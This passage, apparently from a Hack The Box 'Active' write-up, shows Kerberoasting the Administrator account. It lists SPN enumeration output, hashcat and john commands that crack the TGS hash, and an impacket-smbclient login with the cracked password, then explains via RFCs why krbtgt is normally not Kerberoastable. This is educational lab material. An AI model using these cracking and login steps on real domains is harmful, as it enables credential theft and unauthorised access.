/ | / __ \/ ___/___ ____ ______/ /_
/ /| | / / / /\__ \/ _ \/ __ `/ ___/ __ \
/ ___ |/ /_/ /___/ / __/ /_/ / /__/ / / /
/_/ |_/_____//____/\___/\__,_/\___/_/ /_/
Twitter: @tomcarver_
GitHub: @tomcarver16
[*] LDAP://10.10.10.100:389/DC=ACTIVE,DC=HTB
[*] CUSTOM SEARCH:
[*] TOTAL NUMBER OF SEARCH RESULTS: 2
[+] samAccountName : Administrator
[+] distinguishedName : CN=Administrator,CN=Users,DC=active,DC=htb
[+] servicePrincipalName : active/CIFS:445
[+] samAccountName : krbtgt
[+] distinguishedName : CN=krbtgt,CN=Users,DC=active,DC=htb
[+] servicePrincipalName : kadmin/changepw
- Or, more easily, BloodHound:
Cracking it using john
or hashcat
is done via the following commands:
kali@kali:~$ hashcat -a 0 -m 13100 tgs.txt /usr/share/wordlists/rockyou.txt
kali@kali:~$ john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt tgs.txt
john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt tgs.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)
We could also have used the one-liner:
kali@kali:~$ echo '$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$bc0[...]719' |john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt /dev/stdin
John gave the credentials Administrator:Ticketmaster1968
.
GG WP !
kali@kali:~$ impacket-smbclient 'active.htb/administrator:Ticketmaster1968@10.10.10.100'
# use Users
# cat Administrator/Desktop/root.txt
ef[...]9b
krbtgt
is kerberoastable !! (Plz, read RFC3244 ? It’s short, I promess…)
In the above ADSearch.exe
, GetUserSPNs.py
, or BloodHound outputs, we can see that the krbtgt
account has the kadmin/changepw
SPN. Well, is it Kerberoastable then, as Administrator
? Actually no.
The terms
realm
anddomain
are interchangeable.You may read the following RFCs for in-depth details:
(Why RFC1510 and RFC4120 are the same ? Because RFC4120 obsoletes RFC1510. So yeah, just skip RFC1510).
The Kerberos authentication exchanges seen above (KRB_AS_REQ/REP
, KRB_TGS_REQ/REP
, KRB_AP_REQ/REP
) require read-only access to the Kerberos database. However, what if we wanna update that database, add a new principal, update a principal’s key, etc. ? This is done via another protocol which requires the client to communicate with another server: the KADM Server
(Kerberos ADMinistration Server
, or Administration Server
).
As semperis states, the kadmin/changepw@REALM
SPN is defined in RFC3244 (or RFC4120), where the changepw
SPN is the service that allows users to … change their passwords (see the IBM’s Kerberos documentation).
Now, 2 things should be noted to answer (I guess ?) the question “Why is the krbtgt
’s account not Kerberoastable ?” :
Every domain user can ask a TGT, and they in fact receive that TGT in the
KRB-AS-REP
message, encrypted with thekrbtgt
’s secret key. So, supposing that thekrbtgt
's secret key is crackable, why would you crack theKRB_TGS_REP
message in the second KDC/TGS exchange, when you could have cracked theKRB_AS_REP
message in the first KDC/AS exchange directly ?As the Microsoft documentation on the KRBTGT account says, the TGT password of the
krbtgt
account is inherently and automatically strong, and only known by the Kerberos service. Also, this password MUST be regularly changed. Finally, thekrbtgt
's password is the key from which all trust in Kerberos chains up to. Resetting thekrbtgt
password is like renewing the root CA certificate with a new key and immediately not trusting the old key, affecting almost all subsequent Kerberos operations.
Anyway, I hope Microsoft ensures the krbtgt
’s password is strong, I mean, really strong…. It shouldn’t be possible (I guess ?) to kerberoast the krbtgt
account.
As _wald0 found out, it might be possible to crack the
krbtgt
's in a very, very specific scenario.By default, DCs from 2003 will reject whatever password provided to the
krbtgt
account to a very strong one. However, Windows Server 2000, and 2003 functional level, don’t force a password change. Therefore, with such DCs, administrators could set a weak password on thekrbtgt
account. Otherwise, it wouldn't be possible.